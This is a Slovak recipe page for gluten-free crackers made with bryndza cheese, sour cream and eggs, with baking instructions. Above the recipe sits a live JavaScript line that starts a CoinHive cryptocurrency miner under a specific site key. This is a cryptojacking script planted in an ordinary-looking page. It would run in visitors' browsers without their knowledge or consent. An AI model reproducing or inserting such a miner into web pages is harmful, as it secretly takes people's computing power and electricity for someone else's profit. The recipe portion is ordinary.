

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



250g UNI bezlepkovej múky, ½ ČL sódy bikarbóny, 125g bryndze, 80g masla, 2 PL kyslej smotany, troška soli, 2 vajcia (jedno na potretie), rasca a červená paprika/provensálske bylinky/sezam na posypanie

Do misky si dáme postupne všetky suroviny, jedno vajíčko a vypracujeme (rukami vymiešame) hladké cesto. Na pracovnej doske ho vyvaľkáme a vykrajujeme nie veľmi tenké kolieska alebo iné tvary, ktoré dáme na vymastený pekáč. Potrieme druhým rozšľahaným vajcom, posypeme rascou a červenou paprikou alebo provensálskymi bylinkami alebo sezamom a pečieme 12-15 minút na 200°C.